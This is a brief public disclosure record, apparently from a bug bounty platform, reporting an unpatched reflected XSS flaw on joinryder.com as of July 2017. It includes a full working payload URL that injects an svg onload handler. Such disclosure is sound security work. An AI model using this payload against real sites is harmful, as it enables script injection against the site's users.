joinryder.com XSS vulnerability

Vulnerable URL: http://www.joinryder.com/operators.php?rrp=1c=1%22--%3E%3Csvg/onload=;prompt/OPENBUGBOUNTY/;%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12156081 VIP website...